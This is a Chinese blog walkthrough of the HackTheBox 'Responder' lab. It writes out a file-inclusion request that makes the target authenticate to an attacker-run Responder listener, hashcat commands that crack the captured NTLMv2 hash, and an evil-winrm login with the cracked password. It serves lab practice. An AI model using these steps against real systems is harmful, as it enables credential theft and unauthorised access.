- 难度 : Very Easy
- 靶场 : HackTheBox [Responder]
- 类型 : 综合渗透
任意文件包括
前半部分主要是答题,都比较简单。之后主要是配置工具比较麻烦。
首先直接访问 IP 80 端口,发现会进行一个重定向:
virts@Virts-MacMini-M4 ~> curl 10.129.83.22
<meta http-equiv="refresh" content="0;url=http://unika.htb/">
但是实际上域名 unika.htb
是没有配置解析的。所以得自己改 hosts 或者配置一下 DNS。直接用 Surge 还是很方便的,配置完成就可以顺利访问网站了。
扫目录发现一处作用不大的信息泄露 : http://unika.htb/cgi-bin/printenv.pl
,泄露了一些配置信息。
查看主页源代码发现有这样两个标签:
<a href="/index.php?page=french.html">FR</a>
<a href="/index.php?page=german.html">DE</a>
所以可能存在任意文件包含和远程文件包含,用刚才找到的配置信息测一下: http://unika.htb/index.php?page=C:/xampp/cgi-bin/printenv.pl
,发现成功包含了文件内容。
远程文件包含
接下来就是没学过的姿势了,通过远程文件包含直接获取 NTLM Hash 。
需要用到 Responder 这个工具,安装方法还是很简单的。
git clone https://github.com/lgandx/Responder.git
cd Responder
pip install -r requirements.txt
启动 Responder 需要指定一个接口和 IP ,这里的接口用自己 OpenVPN 使用的就可以了。
sudo python Responder.py -I utun4 -i 10.10.14.17
然后访问 http://unika.htb/index.php?page=//10.10.14.17/somefile
就可以抓到 NTLM Hash 了。
准备好一个 rockyou
使用 hashcat 破解 NTLMv2 Hash 。
hashcat -m 5600 test.hash ~/Hack/dict/Dictionary-Of-Pentesting/Password/rockyou.txt
hashcat -m 5600 test.hash ~/Hack/dict/Dictionary-Of-Pentesting/Password/rockyou.txt --show
破解出密码为 badminton
。
扫描目标主机后,发现开放了一个 5985
端口,这个端口的服务是 WinRM ,是一个远控端口,和 Linux 的 SSH 有点类似。
但是找了很久,没有发现在 MacOS 上面有合适的客户端,只能自己安装 evil-winrm
了。
# 安装 ruby 的包管理工具
brew install rbenv ruby-build
# 安装 3.2.2 版本的 ruby
rbenv install 3.2.2
# 编辑 config.fish
vim ~/.config/fish/config.fish
由于我使用的是 fish shell ,需要修改 fish shell 的配置文件,在文件中添加下面的内容:
# rbenv initialization
set -gx PATH $HOME/.rbenv/bin $PATH
# 初始化 rbenv,fish 版本
status --is-interactive; and source (rbenv init -|psub)
之后激活配置即可顺利安装。
source ~/.config/fish/config.fish
rbenv global 3.2.2
gem install evil-winrm
使用 evil-winrm
登录目标服务器。
evil-winrm -i 10.129.237.174 -u Administrator -p badminton
type "C:/Users/mike/Desktop/flag.txt"
顺利拿到 Flag 。
评论